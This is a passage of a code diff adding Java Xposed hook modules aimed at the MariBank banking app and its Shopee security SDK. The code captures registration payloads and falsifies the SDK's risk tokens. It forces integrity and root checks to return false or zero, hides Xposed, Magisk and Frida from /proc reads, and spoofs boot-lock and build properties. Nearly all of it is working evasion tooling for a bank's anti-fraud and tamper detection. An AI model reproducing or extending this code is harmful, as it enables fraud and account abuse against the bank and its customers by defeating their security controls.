|
||||
}
|
||||
if (count > 0) {
|
||||
XposedBridge.log(TAG + " hooked uvwuvwuv methods=" + count);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip uvwuvwuv: " + t.getMessage());
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
private static int hookGsonRegister(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.google.gson.Gson",
|
||||
lpparam.classLoader,
|
||||
"toJson",
|
||||
Object.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (!(param.getResult() instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String json = (String) param.getResult();
|
||||
if (!looksLikeRegisterJson(json)) {
|
||||
return;
|
||||
}
|
||||
String sanitized = MariBankRegisterPayloadUtil.isRegistrationPayload(json)
|
||||
? MariBankRegisterPayloadUtil.sanitizeRegistrationJson(json)
|
||||
: MariBankRiskTokenUtil.sanitizeAllInText(json);
|
||||
if (!sanitized.equals(json)) {
|
||||
param.setResult(sanitized);
|
||||
json = sanitized;
|
||||
}
|
||||
if (MariBankRegisterPayloadUtil.isRegistrationPayload(json)) {
|
||||
MariBankCaptureUtil.logText("Gson REGISTRATION plaintext", json);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
return 1;
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip Gson.toJson: " + t.getMessage());
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean looksLikeRegisterJson(String text) {
|
||||
if (text == null || text.length() < 8) {
|
||||
return false;
|
||||
}
|
||||
if (MariBankRegisterPayloadUtil.isRegistrationPayload(text)) {
|
||||
return true;
|
||||
}
|
||||
String lower = text.toLowerCase();
|
||||
return lower.contains("rdverifyinfo")
|
||||
|| lower.contains("devicefingerprint")
|
||||
|| (lower.contains("encphone") && lower.contains("scene"));
|
||||
}
|
||||
|
||||
private static Object sanitizeArg(Object arg) {
|
||||
if (arg instanceof String) {
|
||||
String s = (String) arg;
|
||||
if (!s.contains("|") && !looksLikeRegisterJson(s)) {
|
||||
return arg;
|
||||
}
|
||||
String out = MariBankRegisterPayloadUtil.isRegistrationPayload(s)
|
||||
? MariBankRegisterPayloadUtil.sanitizeRegistrationJson(s)
|
||||
: MariBankRiskTokenUtil.sanitizeAllInText(s);
|
||||
return out.equals(s) ? arg : out;
|
||||
}
|
||||
if (arg instanceof byte[]) {
|
||||
byte[] bytes = (byte[]) arg;
|
||||
byte[] out = MariBankRegisterPayloadUtil.sanitizeRegistrationBytes(bytes);
|
||||
return out == bytes ? arg : out;
|
||||
}
|
||||
return arg;
|
||||
}
|
||||
|
||||
private static void logArg(String label, Object arg) {
|
||||
if (arg == null) {
|
||||
XposedBridge.log(TAG + label + " null");
|
||||
return;
|
||||
}
|
||||
if (arg instanceof String) {
|
||||
String s = (String) arg;
|
||||
if (s.length() > 4 || s.contains("|") || looksLikeRegisterJson(s)) {
|
||||
MariBankCaptureUtil.logText(label, s);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (arg instanceof byte[]) {
|
||||
byte[] bytes = (byte[]) arg;
|
||||
String text;
|
||||
try {
|
||||
text = new String(bytes, StandardCharsets.UTF_8);
|
||||
} catch (Throwable t) {
|
||||
text = "<bin>";
|
||||
}
|
||||
if (text.contains("|") || looksLikeRegisterJson(text) || bytes.length < 8192) {
|
||||
MariBankCaptureUtil.logBytes(label, bytes);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,745 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.os.Build;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Locale;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.WeakHashMap;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* libshpssdk.so / libshpssdk_bank.so native 检测绕过(Java 层拦截 native 读路径)。
|
||||
* 逆向字符串:/proc/self/maps、hook 库名、RealInterceptorChain.proceed 等。
|
||||
*/
|
||||
public final class MariBankShpsNativeHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankNative";
|
||||
|
||||
private static final Set<String> PROC_SENSITIVE = new HashSet<>(Arrays.asList(
|
||||
"/proc/self/maps",
|
||||
"/proc/version",
|
||||
"/proc/self/status",
|
||||
"/proc/mounts",
|
||||
"/proc/cpuinfo",
|
||||
"/proc/self/attr/current",
|
||||
"/proc/self/mountinfo",
|
||||
"/proc/net/unix",
|
||||
"/proc/bootconfig",
|
||||
"/proc/self/cgroup"
|
||||
));
|
||||
|
||||
private static final String[] MAPS_HIDE_MARKERS = {
|
||||
"xposed", "lsposed", "edxposed", "magisk", "frida", "substrate",
|
||||
"libpine", "pine.so", "zygisk", "riru", "shamiko", "notimessage",
|
||||
"miraclegarden", "libbytehook", "libapmhook", "libspxhook",
|
||||
"liblubanhook", "libsulfuras", "libbugsnag-root-detection",
|
||||
"libreact_debug", "libmobileffmpeg_abidetect",
|
||||
"playintegrityfix", "libgadget", "libfrida", "libriru",
|
||||
"liblspd", "libzygisk", "libvector", "zygisk_vector",
|
||||
};
|
||||
|
||||
private static final WeakHashMap<Object, String> TRACKED_INPUTS = new WeakHashMap<>();
|
||||
|
||||
private static final String[] BOOT_SPOOF_KEYS = {
|
||||
"ro.boot.verifiedbootstate",
|
||||
"ro.boot.flash.locked",
|
||||
"ro.boot.vbmeta.device_state",
|
||||
"ro.boot.veritymode",
|
||||
"ro.boot.warranty_bit",
|
||||
"ro.boot.avb_version",
|
||||
"vendor.boot.vbmeta.device_state",
|
||||
"ro.crypto.state",
|
||||
};
|
||||
|
||||
private static final String FAKE_SELINUX_CTX =
|
||||
"u:r:untrusted_app:s0:c512,c768";
|
||||
|
||||
private MariBankShpsNativeHook() {
|
||||
}
|
||||
|
||||
private static volatile boolean deferredInstalled = false;
|
||||
private static volatile boolean nativeBridgeInstalled = false;
|
||||
private static volatile boolean nativeLoadClassWatcherInstalled = false;
|
||||
private static final Set<String> HOOKED_NATIVE_CORE_CLASSES = new HashSet<>();
|
||||
|
||||
/**
|
||||
* 勿 Hook:负责 SoUtils.loadSoLibrary / libshpssdk_bank.so 加载,Hook 会导致 SO 找不到。
|
||||
*/
|
||||
private static final Set<String> NATIVE_BRIDGE_EXCLUDED = new HashSet<>(Arrays.asList(
|
||||
"com.shopee.shpssdkbank.vuvuwwwuw",
|
||||
"com.shopee.shpssdkbank.vwuuwwvwv"
|
||||
));
|
||||
|
||||
/** loadPackage 阶段只装 /proc 过滤,避免过早触发 SHPSSDK / libsdkutils 死循环白屏。 */
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
hookProcAccess(lpparam);
|
||||
hookProcViaRandomAccessFile(lpparam);
|
||||
hookBufferedReader(lpparam);
|
||||
hookSystemProperties(lpparam);
|
||||
XposedBridge.log(TAG + " early hooks OK (proc only)");
|
||||
}
|
||||
|
||||
/** attachBaseContext 之后:仅装不干扰 SO/RN 加载的 Hook。 */
|
||||
public static void installDeferred(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (deferredInstalled) {
|
||||
return;
|
||||
}
|
||||
deferredInstalled = true;
|
||||
hookRequestDefense(lpparam);
|
||||
hookBuildFields(lpparam);
|
||||
XposedBridge.log(TAG + " deferred hooks installed for " + lpparam.packageName);
|
||||
}
|
||||
|
||||
/** BkeApplication.onCreate 之后:RN / shpssdk SO 已加载,再装 native 桥接 Hook。 */
|
||||
public static void installLateNativeHooks(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (!nativeBridgeInstalled) {
|
||||
nativeBridgeInstalled = true;
|
||||
hookShpsNativeBridge(lpparam);
|
||||
installNativeLoadClassWatcher(lpparam);
|
||||
}
|
||||
hookShpsNativeCore(lpparam);
|
||||
}
|
||||
|
||||
private static void installNativeLoadClassWatcher(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (nativeLoadClassWatcherInstalled) {
|
||||
return;
|
||||
}
|
||||
nativeLoadClassWatcherInstalled = true;
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
ClassLoader.class,
|
||||
"loadClass",
|
||||
String.class,
|
||||
boolean.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.getThrowable() != null) {
|
||||
return;
|
||||
}
|
||||
String name = (String) param.args[0];
|
||||
if (name != null && name.contains("shpssdk")) {
|
||||
if (MariBankRegionProfile.isSingapore(lpparam.packageName)
|
||||
&& MariBankRegionProfile.isShpssdkLegacyPackage(name)) {
|
||||
return;
|
||||
}
|
||||
hookShpsNativeCore(lpparam);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " ClassLoader native-core watcher OK");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip native ClassLoader watcher: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** native 直接读 /proc/self/maps 查 hook 库;过滤内容。 */
|
||||
private static void hookProcAccess(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookConstructor(
|
||||
FileInputStream.class,
|
||||
String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String path = normalizeProcPath((String) param.args[0]);
|
||||
if (path != null) {
|
||||
TRACKED_INPUTS.put(param.getResult(), path);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " FileInputStream hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookConstructor(
|
||||
FileInputStream.class,
|
||||
File.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
File file = (File) param.args[0];
|
||||
if (file != null) {
|
||||
String path = normalizeProcPath(file.getAbsolutePath());
|
||||
if (path != null) {
|
||||
TRACKED_INPUTS.put(param.getResult(), path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
XC_MethodHook readFilter = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String path = TRACKED_INPUTS.get(param.thisObject);
|
||||
if (path == null || param.getResult() == null) {
|
||||
return;
|
||||
}
|
||||
if (param.getResult() instanceof Integer) {
|
||||
int read = (Integer) param.getResult();
|
||||
if (read <= 0 || param.args.length == 0 || !(param.args[0] instanceof byte[])) {
|
||||
return;
|
||||
}
|
||||
byte[] buf = (byte[]) param.args[0];
|
||||
int off = param.args.length > 1 ? (Integer) param.args[1] : 0;
|
||||
filterProcBytes(path, buf, off, read);
|
||||
} else if (param.getResult() instanceof byte[]) {
|
||||
byte[] data = (byte[]) param.getResult();
|
||||
param.setResult(filterProcBytesAll(path, data));
|
||||
} else if (param.getResult() instanceof String) {
|
||||
param.setResult(filterProcText(path, (String) param.getResult()));
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
FileInputStream.class, "read", byte[].class, readFilter);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
FileInputStream.class, "read", byte[].class, int.class, int.class, readFilter);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " FileInputStream.read hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"java.nio.file.Files",
|
||||
lpparam.classLoader,
|
||||
"readAllBytes",
|
||||
"java.nio.file.Path",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (!(param.getResult() instanceof byte[])) {
|
||||
return;
|
||||
}
|
||||
String path = String.valueOf(param.args[0]);
|
||||
String norm = normalizeProcPath(path);
|
||||
if (norm != null) {
|
||||
param.setResult(filterProcBytesAll(
|
||||
norm, (byte[]) param.getResult()));
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookBufferedReader(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
BufferedReader.class,
|
||||
"readLine",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (!(param.getResult() instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String line = (String) param.getResult();
|
||||
if (shouldHideMapsLine(line)) {
|
||||
param.setResult(readNextSafeLine((BufferedReader) param.thisObject));
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " BufferedReader hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static String readNextSafeLine(BufferedReader reader) {
|
||||
try {
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
if (!shouldHideMapsLine(line)) {
|
||||
return line;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
/** 保留 requestDefense 执行(生成 x-sap-fixme),仅净化返回值中的 risk 字段。 */
|
||||
private static void hookRequestDefense(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
for (String className : MariBankRegionProfile.shpsSdkClasses(lpparam.packageName)) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
"requestDefense",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (result instanceof String) {
|
||||
String s = (String) result;
|
||||
if (s.contains("|")) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeRiskToken(s);
|
||||
if (!sanitized.equals(s)) {
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " requestDefense String sanitized");
|
||||
}
|
||||
}
|
||||
} else if (result instanceof byte[]) {
|
||||
byte[] bytes = (byte[]) result;
|
||||
byte[] out = MariBankRiskTokenUtil.sanitizeBytes(
|
||||
bytes, 0, bytes.length);
|
||||
if (out != bytes) {
|
||||
param.setResult(out);
|
||||
XposedBridge.log(TAG + " requestDefense byte[] sanitized");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** shpssdkbank 混淆 native 桥接类:int/boolean 返回值强制安全。 */
|
||||
private static void hookShpsNativeBridge(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String[] classes = {
|
||||
"com.shopee.shpssdkbank.uvuwwuvwv.uvwwuuvvw",
|
||||
"com.shopee.shpssdkbank.a",
|
||||
"com.shopee.shpssdkbank.b",
|
||||
"com.shopee.shpssdkbank.c",
|
||||
"com.shopee.shpssdkbank.d",
|
||||
"com.shopee.shpssdkbank.e",
|
||||
"com.shopee.shpssdkbank.f",
|
||||
"com.shopee.shpssdkbank.g",
|
||||
"com.shopee.shpssdkbank.vuvuwwwuw",
|
||||
"com.shopee.shpssdkbank.vwuuwwvwv",
|
||||
"com.shopee.shpssdkbank.vwwuwuuuv",
|
||||
"com.shopee.shpssdkbank.wvvvuuwuu",
|
||||
"com.shopee.shpssdkbank.wvvvuuww",
|
||||
"com.shopee.shpssdkbank.wvvvuvvv",
|
||||
"com.shopee.shpssdkbank.wvvvuvww",
|
||||
"com.shopee.shpssdkbank.wvvvuwwu",
|
||||
};
|
||||
int total = 0;
|
||||
for (String className : classes) {
|
||||
if (NATIVE_BRIDGE_EXCLUDED.contains(className)) {
|
||||
XposedBridge.log(TAG + " skip native-bridge (so loader): " + className);
|
||||
continue;
|
||||
}
|
||||
total += hookAllIntBooleanMethods(lpparam, className);
|
||||
total += hookAllStringSanitize(lpparam, className);
|
||||
}
|
||||
XposedBridge.log(TAG + " native-bridge total hooks=" + total);
|
||||
}
|
||||
|
||||
/** native 桥接可能直接返回 riskToken 字符串。 */
|
||||
private static int hookAllStringSanitize(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className) {
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (method.getReturnType() != String.class) {
|
||||
continue;
|
||||
}
|
||||
if (method.getParameterTypes().length > 6) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (!(result instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String s = (String) result;
|
||||
if (!s.contains("|")) {
|
||||
return;
|
||||
}
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeRiskToken(s);
|
||||
if (!sanitized.equals(s)) {
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " native String sanitized in "
|
||||
+ className + "#" + method.getName());
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
private static int hookAllIntBooleanMethods(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className) {
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
Class<?> rt = method.getReturnType();
|
||||
if (rt != boolean.class && rt != Boolean.class
|
||||
&& rt != int.class && rt != Integer.class) {
|
||||
continue;
|
||||
}
|
||||
if (Modifier.isNative(method.getModifiers()) && rt != boolean.class
|
||||
&& rt != Boolean.class && rt != int.class && rt != Integer.class) {
|
||||
continue;
|
||||
}
|
||||
if (method.getParameterTypes().length > 4) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (rt == boolean.class || rt == Boolean.class) {
|
||||
param.setResult(false);
|
||||
} else {
|
||||
param.setResult(0);
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
}
|
||||
if (count > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + count + " native-bridge checks in " + className);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
/**
|
||||
* SHPSSDK 核心 native 桥:wvvvuwwu.wwvwvwuvv / vvuwuuvuu 等直接生成 risk 数据。
|
||||
*/
|
||||
private static void hookShpsNativeCore(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
int total = 0;
|
||||
for (String className : MariBankRegionProfile.shpsAttestationCoreClasses(lpparam.packageName)) {
|
||||
total += hookNativeCoreClass(lpparam, className);
|
||||
}
|
||||
XposedBridge.log(TAG + " native-core total hooks=" + total + " region="
|
||||
+ MariBankRegionProfile.label(lpparam.packageName));
|
||||
}
|
||||
|
||||
private static int hookNativeCoreClass(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className) {
|
||||
if (HOOKED_NATIVE_CORE_CLASSES.contains(className)) {
|
||||
return 0;
|
||||
}
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!Modifier.isStatic(method.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
Class<?> rt = method.getReturnType();
|
||||
if (rt == String.class) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (!(result instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String s = (String) result;
|
||||
if (s.length() > 80 && s.contains("|")) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeRiskToken(s);
|
||||
if (!sanitized.equals(s)) {
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " core String sanitized "
|
||||
+ className + "#" + method.getName()
|
||||
+ (Modifier.isNative(method.getModifiers()) ? " (native)" : ""));
|
||||
}
|
||||
} else if (s.length() > 40) {
|
||||
String sanitized = MariBankRegisterPayloadUtil.isRegistrationPayload(s)
|
||||
? MariBankRegisterPayloadUtil.sanitizeRegistrationJson(s)
|
||||
: MariBankRiskTokenUtil.sanitizeAllInText(s);
|
||||
if (!sanitized.equals(s)) {
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " core register String sanitized "
|
||||
+ className + "#" + method.getName());
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
} else if (rt == byte[].class) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (!(result instanceof byte[])) {
|
||||
return;
|
||||
}
|
||||
byte[] bytes = (byte[]) result;
|
||||
byte[] out = MariBankRegisterPayloadUtil.sanitizeRegistrationBytes(bytes);
|
||||
if (out != bytes) {
|
||||
param.setResult(out);
|
||||
XposedBridge.log(TAG + " core byte[] sanitized "
|
||||
+ className + "#" + method.getName()
|
||||
+ (Modifier.isNative(method.getModifiers()) ? " (native)" : ""));
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
} else if (rt == boolean.class || rt == Boolean.class
|
||||
|| rt == int.class || rt == Integer.class) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (rt == boolean.class || rt == Boolean.class) {
|
||||
param.setResult(false);
|
||||
} else {
|
||||
param.setResult(0);
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
}
|
||||
}
|
||||
if (count > 0) {
|
||||
HOOKED_NATIVE_CORE_CLASSES.add(className);
|
||||
XposedBridge.log(TAG + " hooked " + count + " core methods in " + className);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip core " + className + ": " + t.getMessage());
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
/** Build.TAGS / FINGERPRINT 等 Java 层可读字段伪装。 */
|
||||
private static void hookBuildFields(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.setStaticObjectField(Build.class, "TAGS", "release-keys");
|
||||
if (String.valueOf(Build.FINGERPRINT).contains("test-keys")) {
|
||||
XposedHelpers.setStaticObjectField(Build.class, "FINGERPRINT",
|
||||
Build.FINGERPRINT.replace("test-keys", "release-keys"));
|
||||
}
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||||
try {
|
||||
XposedHelpers.setStaticObjectField(Build.class, "BOOTLOADER", "unknown");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
XposedBridge.log(TAG + " Build fields spoofed");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Build spoof failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookProcViaRandomAccessFile(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookConstructor(
|
||||
"java.io.RandomAccessFile",
|
||||
lpparam.classLoader,
|
||||
String.class,
|
||||
String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String path = normalizeProcPath((String) param.args[0]);
|
||||
if (path != null) {
|
||||
TRACKED_INPUTS.put(param.getResult(), path);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"java.io.RandomAccessFile",
|
||||
lpparam.classLoader,
|
||||
"read",
|
||||
byte[].class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String path = TRACKED_INPUTS.get(param.thisObject);
|
||||
if (path == null || !(param.getResult() instanceof Integer)) {
|
||||
return;
|
||||
}
|
||||
int read = (Integer) param.getResult();
|
||||
if (read > 0 && param.args[0] instanceof byte[]) {
|
||||
filterProcBytes(path, (byte[]) param.args[0], 0, read);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookSystemProperties(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> sp = XposedHelpers.findClass("android.os.SystemProperties", lpparam.classLoader);
|
||||
for (Method method : sp.getDeclaredMethods()) {
|
||||
if (!"get".equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.args.length == 0 || !(param.args[0] instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String key = (String) param.args[0];
|
||||
String spoofed = spoofProperty(key, param.getResult());
|
||||
if (spoofed != null) {
|
||||
param.setResult(spoofed);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " SystemProperties hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static String spoofProperty(String key, Object current) {
|
||||
if ("ro.debuggable".equals(key)) {
|
||||
return "0";
|
||||
}
|
||||
if ("init.svc.adbd".equals(key) || "init.svc.adb".equals(key)) {
|
||||
return "stopped";
|
||||
}
|
||||
if ("service.adb.root".equals(key)) {
|
||||
return "0";
|
||||
}
|
||||
if ("persist.sys.adb_enable".equals(key)) {
|
||||
return "0";
|
||||
}
|
||||
if ("ro.secure".equals(key)) {
|
||||
return "1";
|
||||
}
|
||||
if ("ro.build.tags".equals(key)) {
|
||||
if (current instanceof String && String.valueOf(current).contains("test-keys")) {
|
||||
return "release-keys";
|
||||
}
|
||||
}
|
||||
if ("ro.boot.verifiedbootstate".equals(key)) {
|
||||
return "green";
|
||||
}
|
||||
if ("ro.boot.flash.locked".equals(key)) {
|
||||
return "1";
|
||||
}
|
||||
if ("ro.boot.vbmeta.device_state".equals(key)
|
||||
|| "vendor.boot.vbmeta.device_state".equals(key)) {
|
||||
return "locked";
|
||||
}
|
||||
if ("ro.boot.veritymode".equals(key)) {
|
||||
return "enforcing";
|
||||
}
|
||||
if ("ro.boot.warranty_bit".equals(key)) {
|
||||
return "0";
|
||||
}
|
||||
if ("ro.crypto.state".equals(key)) {
|
||||
return "encrypted";
|
||||
}
|
||||
for (String bootKey : BOOT_SPOOF_KEYS) {
|
||||
if (bootKey.equals(key) && key.startsWith("ro.boot")) {
|
||||
// already handled above for known keys
|
||||
break;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static String normalizeProcPath(String path) {
|
||||
if (path == null) {
|
||||
return null;
|
||||
}
|
||||
String norm = path.trim();
|
||||
for (String p : PROC_SENSITIVE) {
|
||||
if (norm.equals(p) || norm.endsWith(p)) {
|
||||
return p;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static byte[] filterProcBytesAll(String path, byte[] data) {
|
||||
return filterProcText(path, new String(data)).getBytes();
|
||||
}
|
||||
|
||||
private static void filterProcBytes(String path, byte[] buf, int off, int len) {
|
||||
String text = new String(buf, off, len);
|
||||
String filtered = filterProcText(path, text);
|
||||
if (filtered.equals(text)) {
|
||||
return;
|
||||
}
|
||||
byte[] out = filtered.getBytes();
|
||||
int copy = Math.min(len, out.length);
|
||||
System.arraycopy(out, 0, buf, off, copy);
|
||||
if (copy < len) {
|
||||
Arrays.fill(buf, off + copy, off + len, (byte) 0);
|
||||
}
|
||||
}
|
||||
|
||||
private static String filterProcText(String path, String text) {
|
||||
if ("/proc/self/maps".equals(path) || "/proc/self/mountinfo".equals(path)
|
||||
|| "/proc/mounts".equals(path)) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (String line : text.split("\n")) {
|
||||
if (!shouldHideMapsLine(line)) {
|
||||
if (sb.length() > 0) {
|
||||
sb.append('\n');
|
||||
}
|
||||
sb.append(line);
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
if ("/proc/self/attr/current".equals(path)) {
|
||||
String lower = text.toLowerCase(Locale.US);
|
||||
if (lower.contains("magisk") || lower.contains("su") || lower.contains("zygisk")
|
||||
|| lower.contains("xposed")) {
|
||||
return FAKE_SELINUX_CTX;
|
||||
}
|
||||
return text;
|
||||
}
|
||||
if ("/proc/version".equals(path)) {
|
||||
return text.replace("dirty", "").replace("test-keys", "release-keys");
|
